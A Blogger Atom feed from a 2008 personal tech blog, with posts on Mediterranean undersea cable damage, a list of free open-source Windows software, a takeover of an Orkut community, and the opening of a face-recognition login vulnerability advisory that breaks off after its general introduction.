src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-8515871376693961903</id><published>2008-12-20T22:54:00.007+05:30</published><updated>2008-12-20T23:21:14.445+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='News'/><title type='text'>Cable damage hits India, Qatar and UAE hardest</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_7tuJ7C_qMvQ/SU0r0WMJXoI/AAAAAAAAACk/tjz2LgOZk2A/s1600-h/computer_thumb.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 230px; height: 165px;" src="http://2.bp.blogspot.com/_7tuJ7C_qMvQ/SU0r0WMJXoI/AAAAAAAAACk/tjz2LgOZk2A/s320/computer_thumb.jpg" alt="" id="BLOGGER_PHOTO_ID_5281926116285177474" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;strong style="font-weight: normal;"&gt;Damage to three major undersea cables seriously disrupted more than half of internet and phone services between Europe, the Middle East and Asia on Friday, with India, Qatar and the United Arab Emirates the worst affected, France Telecom said.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The telecom operator said initial estimates show 82 percent of service to India was disrupted, while 73 percent of service to Qatar and 68 percent to the UAE was affected.&lt;br /&gt;&lt;br /&gt;Around 50 percent of service to Saudi Arabia, Jordan and Egypt was also disrupted, it said.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;"The causes of the cut, which is located in the Mediterranean between Sicily and Tunisia, on sections linking Sicily to Egypt, remain unclear," France Telecom said in a statement on its website.&lt;br /&gt;&lt;br /&gt;The company said a ship set off in the early hours of Saturday morning to fix the lines, but that it would not arrive until Monday and that it could take until Dec. 31 until normal service was restored.&lt;br /&gt;&lt;br /&gt;UAE telecom Etisalat said it had taken "precautionary measures to ensure the flow of internet services", state news agency WAM reported, citing a company statement.&lt;br /&gt;&lt;br /&gt;"Etisalat was able to use alternative routes shortly after the disruption of the three international cables, thereby ensuring the continuity and smooth flow of internet services in the UAE," the statement said.&lt;br /&gt;&lt;br /&gt;Du, the UAE's second telecom, said it had re-routed data and international voice traffic east through alternative cable systems.&lt;br /&gt;&lt;br /&gt;"The top 50 voice destinations are now unaffected and only 15 percent degradation overall remains. Internet capacity is reduced but again additional capacity is being activated to the east which will restore performance to more normal levels," the company said in a statement.&lt;br /&gt;&lt;br /&gt;Qatari telecom Qtel said loss of capacity in Qatar was being kept below 47 percent and the country "is only experiencing limited effects".&lt;br /&gt;&lt;br /&gt;"Qtel’s network of alternative transmission routes and back-up cables has ensured that Qatar has remained connected," the company said in a statement.&lt;br /&gt;&lt;br /&gt;However, it did warn users might experience some slowdown in internet speed and access problems until the cables were repaired.&lt;br /&gt;&lt;br /&gt;Kuwait's Ministry of Communications said the damage had affected internet service and some international communications in the Gulf state, state news agency KUNA reported.&lt;br /&gt;&lt;br /&gt;The ministry said it had "contacted local, regional and international parties to secure communications' alternatives to provide the service".&lt;br /&gt;&lt;br /&gt;France Telecom spokesman Louis-Michel Aymard was quoted by newswire AFP as saying the cuts were unlikely to be an attack. He said the cables could have got caught up in trawlers' nets or there could have been an underwater landslide.&lt;br /&gt;&lt;br /&gt;Aymard said one of the cables seems to have been severed, while the other two  seem to have been only partially cut.&lt;br /&gt;&lt;br /&gt;The cables are jointly owned by several dozen different countries. One of the cables is 40,000 km long and links 33 different countries while a second is 20,000 km long and serves 14 states.&lt;br /&gt;&lt;br /&gt;In January, five cables in the Middle East and Europe were cut, causing severe internet disruption across the Middle East and Asia.&lt;br /&gt;&lt;div id="width"&gt;&lt;div id="content-main" class="topmargin10 left lheight20"&gt;&lt;!-- Article Start --&gt;        &lt;p&gt;       &lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/12/cable-damage-hits-india-qatar-and-uae.html"&gt;Cable damage hits India, Qatar and UAE hardest&lt;/a&gt;&lt;br /&gt;&lt;p class="topmargin15"&gt;UPDATE 1: Three undersea cables linking more than 47 countries damaged in Mediterranean.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-8515871376693961903?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/8515871376693961903/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=8515871376693961903' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/8515871376693961903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/8515871376693961903'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/12/cable-damage-hits-india-qatar-and-uae.html' title='Cable damage hits India, Qatar and UAE hardest'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_7tuJ7C_qMvQ/SU0r0WMJXoI/AAAAAAAAACk/tjz2LgOZk2A/s72-c/computer_thumb.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-3204483228030659729</id><published>2008-12-14T11:45:00.008+05:30</published><updated>2008-12-14T13:41:43.609+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Downloads'/><title type='text'>Opensource softs for Windows</title><content type='html'>Well tried of looking for &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;softwares&lt;/span&gt; for free?? bored of the links &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_1"&gt;which&lt;/span&gt; take you to credit card pages?? Here i am listing the most widely used windows &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;softwares&lt;/span&gt; &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_3"&gt;which&lt;/span&gt; are &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_4"&gt;open source&lt;/span&gt; and absolutely free.with this post i am starting a new section "downloads" &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_5"&gt;which&lt;/span&gt; will list all soft links that you ever will require..So do come back for more..enjoy.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Free windows &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;softwares&lt;/span&gt; downloads:-&lt;br /&gt;&lt;h1&gt;Web Browsing&lt;/h1&gt;  &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/firefox.png" alt="&lt;span class=" error="" id="SPELLING_ERROR_7" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span style="font-size:180%;"&gt;Mozilla &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"  style="font-size:180%;"&gt;Firefox&lt;/span&gt;&lt;/h2&gt; The premier free, open-source browser. Tabs, pop-up blocking, themes, and extensions. Considered by many to be the world's best browser.&lt;br /&gt;&lt;a href="http://www.mozilla.org/products/firefox/"&gt;Download Page&lt;/a&gt; &lt;/div&gt;    &lt;h1&gt;Video Player / Video &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;Podcasting&lt;/span&gt;&lt;/h1&gt;  &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/miro_icon.png" alt="&lt;span class=" error="" id="SPELLING_ERROR_10" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span style="font-size:180%;"&gt;Miro&lt;/span&gt;&lt;/h2&gt;Beautiful interface. Plays any video type (much more than windows media player). Subscribe to video &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;RSS&lt;/span&gt;, download, and watch all in one. Torrent support. Search and download from YouTube and others.&lt;br /&gt;&lt;a href="http://www.getmiro.com/"&gt;Download Page&lt;/a&gt; &lt;/div&gt;    &lt;h1&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;IM&lt;/span&gt; - Instant Messaging&lt;/h1&gt;  &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/pidgin.png" alt="&lt;span class=" error="" id="SPELLING_ERROR_13" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span style="font-size:180%;"&gt;Pidgin&lt;/span&gt;&lt;/h2&gt; Connect to multiple &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;IM&lt;/span&gt; accounts simultaneously in a single app, including: AOL &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;IM&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;MSN&lt;/span&gt;, and Jabber.&lt;br /&gt;&lt;a href="http://www.pidgin.im/pidgin/home/"&gt;Download Page&lt;/a&gt; &lt;/div&gt;    &lt;h1&gt;E-mail&lt;/h1&gt;  &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/thunderbird.png" alt="&lt;span class=" error="" id="SPELLING_ERROR_17" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span style="font-size:180%;"&gt;Mozilla &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"  style="font-size:180%;"&gt;Thunderbird&lt;/span&gt;&lt;/h2&gt; Powerful spam filtering, solid interface, and all the features you need.&lt;br /&gt;&lt;a href="http://www.mozilla.org/products/thunderbird/"&gt;Download Page&lt;/a&gt; &lt;/div&gt;  &lt;h1&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;RSS&lt;/span&gt;&lt;/h1&gt;  &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/rssowl.png" alt="&lt;span class=" error="" id="SPELLING_ERROR_20" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"  style="font-size:180%;"&gt;RSSOwl&lt;/span&gt;&lt;/h2&gt; Solid cross-platform &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;RSS&lt;/span&gt; client.&lt;br /&gt;&lt;a href="http://www.rssowl.org/download"&gt;Download Page&lt;/a&gt; &lt;/div&gt;      &lt;h1&gt;Peer-to-Peer &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;Filesharing&lt;/span&gt;&lt;/h1&gt;   &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/cabos.png" alt="&lt;span class=" error="" id="SPELLING_ERROR_24" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"  style="font-size:180%;"&gt;Cabos&lt;/span&gt;&lt;/h2&gt; A simple, easy to use &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;filesharing&lt;/span&gt; program.  &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;Gnutella&lt;/span&gt; network.&lt;br /&gt;&lt;a href="http://cabos.sourceforge.jp/"&gt;Download Page&lt;/a&gt; &lt;/div&gt;     &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/gnucleus.png" alt="&lt;span class=" error="" id="SPELLING_ERROR_28" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"  style="font-size:180%;"&gt;Gnucleus&lt;/span&gt;&lt;/h2&gt; A very good &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;Gnutella&lt;/span&gt; search and download &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;filesharing&lt;/span&gt; program.&lt;br /&gt;&lt;a href="http://www.gnucleus.com/Gnucleus/"&gt;Download Page&lt;/a&gt; &lt;/div&gt;  &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/azureus.png" alt="&lt;span class=" error="" id="SPELLING_ERROR_32" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"  style="font-size:180%;"&gt;Azureus&lt;/span&gt;&lt;/h2&gt; A powerful, but complicated &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;BitTorrent&lt;/span&gt; client.  So many features you'll lose your mind.&lt;br /&gt;&lt;a href="http://azureus.sourceforge.net/download.php"&gt;Download Page&lt;/a&gt; &lt;/div&gt;          &lt;h1&gt;Video Playback&lt;/h1&gt;  &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/vlc.png" alt="&lt;span class=" error="" id="SPELLING_ERROR_35" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"  style="font-size:180%;"&gt;VLC&lt;/span&gt;&lt;/h2&gt; Plays more video files than most players: &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;Quicktime&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;AVI&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;DIVX&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;OGG&lt;/span&gt;, and more.  Pretty good interface.&lt;br /&gt;&lt;a href="http://www.videolan.org/vlc/"&gt;Download Page&lt;/a&gt; &lt;/div&gt;  &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/mplayer.png" alt="&lt;span class=" error="" id="SPELLING_ERROR_41" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"  style="font-size:180%;"&gt;MPlayer&lt;/span&gt;&lt;/h2&gt; Similar to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_43"&gt;VLC&lt;/span&gt;-- plays loads of video formats.&lt;br /&gt;&lt;a href="http://www.mplayerhq.hu/design7/dload.html"&gt;Download Page&lt;/a&gt; &lt;/div&gt;   &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/mediaplayerclassic.png" alt="media player classic" /&gt; &lt;h2&gt;&lt;span style="font-size:180%;"&gt;Media Player Classic&lt;/span&gt;&lt;/h2&gt; Compact, but powerful media player. Plays anything under the sun. No install necessary.&lt;br /&gt;&lt;a href="http://sourceforge.net/project/showfiles.php?group_id=82303&amp;amp;package_id=84358&amp;amp;release_id=403110"&gt;Download Page&lt;/a&gt; &lt;/div&gt;    &lt;h1&gt;DVD Ripping / Video Conversion&lt;/h1&gt;   &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/mediacoder.png" alt="media coder" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span style="font-size:180%;"&gt;Media Coder&lt;/span&gt;&lt;/h2&gt; Great tool for ripping &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_44"&gt;CDs&lt;/span&gt;, DVDs, etc and converting between tons of video formats.&lt;br /&gt;&lt;a href="http://mediacoder.sourceforge.net/download.htm"&gt;Download Page&lt;/a&gt; &lt;/div&gt;      &lt;h1&gt;Word Processing / Office Suites&lt;/h1&gt;  &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/openoffice.png" alt="open office" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_45"  style="font-size:180%;"&gt;OpenOffice&lt;/span&gt;&lt;span style="font-size:180%;"&gt;.org&lt;/span&gt;&lt;/h2&gt;Big, full featured suite of tools for word processing and spreadsheets. Compatible with and a free replacement for Microsoft Word documents. Also supports &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_46"&gt;OpenDocument&lt;/span&gt; Format.&lt;br /&gt;&lt;a href="http://www.openoffice.org/"&gt;Download Page&lt;/a&gt; &lt;/div&gt;   &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/abiword.png" alt="&lt;span class=" error="" id="SPELLING_ERROR_47" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_48"  style="font-size:180%;"&gt;AbiWord&lt;/span&gt;&lt;/h2&gt; A word processor.  Leaner and quicker than &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_49"&gt;OpenOffice&lt;/span&gt;.  Compatible with Microsoft Word documents and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_50"&gt;OpenDocument&lt;/span&gt; Format.&lt;br /&gt;&lt;a href="http://www.abisource.com/download/"&gt;Download Page&lt;/a&gt; &lt;/div&gt;      &lt;h1&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_51"&gt;Podcasting&lt;/span&gt;&lt;/h1&gt;  &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/juice.png" alt="juice" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span style="font-size:180%;"&gt;Juice&lt;/span&gt;&lt;/h2&gt; Solid &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_52"&gt;podcasting&lt;/span&gt; client.&lt;br /&gt;&lt;a href="http://juicereceiver.sourceforge.net/index.php"&gt;Download Page&lt;/a&gt; &lt;/div&gt;   &lt;h1&gt;DVD Ripping&lt;/h1&gt;  &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/handbrake.png" alt="handbrake" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span style="font-size:180%;"&gt;Handbrake&lt;/span&gt;&lt;/h2&gt; DVD to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_53"&gt;MPEG&lt;/span&gt;-4 ripper/converter.&lt;br /&gt;&lt;a href="http://handbrake.m0k.org/download.php"&gt;Download Page&lt;/a&gt; &lt;/div&gt;        &lt;h1&gt;Sound Recording&lt;/h1&gt;  &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/audacity.png" alt="audacity" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span style="font-size:180%;"&gt;Audacity&lt;/span&gt;&lt;/h2&gt; Simple sound recording tool.&lt;br /&gt;&lt;a href="http://audacity.sourceforge.net/download/windows"&gt;Download Page&lt;/a&gt; &lt;/div&gt;   &lt;h1&gt;Graphics / Photo Editing&lt;/h1&gt;  &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/gimp.png" alt="gimp" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span style="font-size:180%;"&gt;GIMP&lt;/span&gt;&lt;/h2&gt; Photo editing application that rivals &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_54"&gt;Photoshop&lt;/span&gt; in features.&lt;br /&gt;&lt;a href="http://gimp-win.sourceforge.net/stable.html"&gt;Download Page&lt;/a&gt; &lt;/div&gt;  &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/paintnet.png" alt="paint.net" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span style="font-size:180%;"&gt;Paint.NET&lt;/span&gt;&lt;/h2&gt; Graphics editor with a very nice interface.&lt;br /&gt;&lt;a href="http://www.eecs.wsu.edu/paint.net/download.html"&gt;Download Page&lt;/a&gt; &lt;/div&gt;   &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/inkscape.png" alt="&lt;span class=" error="" id="SPELLING_ERROR_55" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_56"  style="font-size:180%;"&gt;Inkscape&lt;/span&gt;&lt;/h2&gt; Vector graphics application.&lt;br /&gt;&lt;a href="http://www.inkscape.org/download.php"&gt;Download Page&lt;/a&gt; &lt;/div&gt;      &lt;h1&gt;FTP / &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_57"&gt;SFTP&lt;/span&gt;&lt;/h1&gt;  &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/filezilla.png" alt="&lt;span class=" error="" id="SPELLING_ERROR_58" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_59"  style="font-size:180%;"&gt;Filezilla&lt;/span&gt;&lt;/h2&gt; Excellent FTP program.&lt;br /&gt;&lt;a href="http://sourceforge.net/project/showfiles.php?group_id=21558"&gt;Download Page&lt;/a&gt; &lt;/div&gt;   &lt;h1&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_60"&gt;IRC&lt;/span&gt;&lt;/h1&gt;   &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/xchat2.png" alt="&lt;span class=" error="" id="SPELLING_ERROR_61" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span style="font-size:180%;"&gt;X-Chat 2&lt;/span&gt;&lt;/h2&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_62"&gt;IRC&lt;/span&gt; client.&lt;br /&gt;&lt;a href="http://silverex.info/download/"&gt;Download Page&lt;/a&gt; &lt;/div&gt;  &lt;h1&gt;Archiving&lt;/h1&gt;  &lt;div class="software_pick"&gt; &lt;img src="http://www.opensourcewindows.org/icon/peazip.png" alt="&lt;span class=" error="" id="SPELLING_ERROR_63" /&gt; &lt;h2 style="font-weight: normal;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_64"  style="font-size:180%;"&gt;PeaZip&lt;/span&gt;&lt;/h2&gt; Fantastic archiving utility to extract and pack archives of an extensive amount of formats. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_65"&gt;PeaZip&lt;/span&gt; also features password protecting archives, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_66"&gt;keyfile&lt;/span&gt; support, system integration, a lovely interface, and much more.&lt;br /&gt;&lt;a href="http://peazip.sourceforge.net/index.html"&gt;Download Page&lt;/a&gt; &lt;/div&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-3204483228030659729?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/3204483228030659729/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=3204483228030659729' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/3204483228030659729'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/3204483228030659729'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/12/opensource-softs-for-windows.html' title='Opensource softs for Windows'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-5462920150791730020</id><published>2008-12-13T00:15:00.009+05:30</published><updated>2008-12-13T00:52:44.117+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='News'/><title type='text'>OUG[orkut underground]-13 hacked?</title><content type='html'>I was paying one of my regular visits on 9/12/2008 evening to the wellknown OUG-13-"orkut underground community" when i saw something that was very different sight.Instead of the usual- "Gravity is not responsible for people falling at our feet, our actions made them do so" it was written "hacked by dx".All posts and forum were completely gone...The owner name was changed!!&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_7tuJ7C_qMvQ/SUK3UXaPY6I/AAAAAAAAACc/byg7bq6_aVc/s1600-h/oug.PNG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_7tuJ7C_qMvQ/SUK3UXaPY6I/AAAAAAAAACc/byg7bq6_aVc/s320/oug.PNG" alt="" id="BLOGGER_PHOTO_ID_5278983273740985250" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="fullpost"&gt;&lt;span class="fullpost"&gt;Fortunately soon after everything was back to control and we had the following explanation from one of the OUG moderators:-&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span class="fullpost"&gt;&lt;h3 class="smller"&gt;Explaining Incident 9/12/2008 - Tuesday&lt;/h3&gt; &lt;div class="para"&gt; So it was Around 10:30p.m. I was Out of house, that's when i got Call from OuG member Zubin. He told me the incident&lt;img src="http://img1.orkut.com/img/smiley/i_surprise.gif" alt="" border="0" /&gt; I told him to put pushpak in conference. Supriya Joined in and Prateek joined in Conference. Told Supriya OuG Is taken over by n00bs. Realised his Profile was Deleted and so some guy got gain ownership option and so they took the ownership. Supriya kept the phone he came online logged in to his co-owner profile and gained back the Ownership of OuG, and transferred to Nikhilesh, and then it underwent a number of ownership&lt;img src="http://img4.orkut.com/img/smiley/i_bigsmile.gif" alt="" border="0" /&gt; and finally it is in the hands of our secret agent :-$ Rakhi sawant..she rockz&lt;img src="http://img3.orkut.com/img/smiley/i_funny.gif" alt="" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;Explaining Further..&lt;br /&gt;There is a kind of Idiotic Link in Google Which has a form which when filled deleted or disables the profiles of Orkut User's(Don't ask where is that link and which is that link - not allowed in this topic) which some n00bs used to delete the profiles and take-over the OuG community. (Still Asumed Not Confirmed). So when the profile was deleted many members got the option og gain ownership...owners were getting changed every second...and finally one idiotic DX or XD watever member got the community and then wat he deleted all the topics and claimed OuG got hacked...lol @ those n00bs&lt;img src="http://img4.orkut.com/img/smiley/i_bigsmile.gif" alt="" border="0" /&gt;&lt;br /&gt;And then as i said before called suppi in conf and told him about this, etc. he went offline later coz of his exmaz. It would have not been possible to do all this without the proper communication between members, mods and owner. And then till 12:00, almost all important topics topics were restored and the community was much more stable, mods were appointed..while owner profile har baar change hoti rahegi for security reasons..This was all coz of stupidity of Google..kisi ki koi mistake nahin hai..no one can hack us simply..its just tht orkut is gay...he is giving more important to his partner than orkut so he doesn't have time to fix this stupid bugs. AS for Now We are not accepting any new members. They will hack us again as they say coz they are gay...a BIG LOL @ THEM. Enjoy.. &lt;/div&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-5462920150791730020?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/5462920150791730020/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=5462920150791730020' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/5462920150791730020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/5462920150791730020'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/12/ougorkut-underground-13-hacked.html' title='OUG[orkut underground]-13 hacked?'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_7tuJ7C_qMvQ/SUK3UXaPY6I/AAAAAAAAACc/byg7bq6_aVc/s72-c/oug.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-482031860227927589</id><published>2008-12-11T19:34:00.004+05:30</published><updated>2008-12-11T19:52:24.268+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><category scheme='http://www.blogger.com/atom/ns#' term='News'/><title type='text'>VULNERABILITY IN FACE RECOGNITION AUTHENTICATION MECHANISM</title><content type='html'>VULNERABILITY IN FACE RECOGNITION AUTHENTICATION MECHANISM&lt;br /&gt;LENOVO-ASUS-TOSHIBA LAPTOPS&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1. General Information&lt;/span&gt;&lt;br /&gt;Face Recognition feature is provided by Asus, Lenovo and Toshiba as specialized software that is issued together with their laptops. This feature is embedded into all laptop families having webcams and supporting Windows Vista, XP operating system. Owners of laptops benefiting from this technology do not have to type in their passwords or use their fingerprint but to sit in front of their laptops to login.&lt;br /&gt;Face-recognition is introduced by these vendors as a remarkable feature which helps prevent unauthorized people breaking into laptops and ensure information security for their owners.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Details : &lt;a href="http://security.bkis.vn/?p=292" target="_blank"&gt;http://security.bkis.vn/?p=292&lt;/a&gt;&lt;br /&gt;SVRT Advisory : 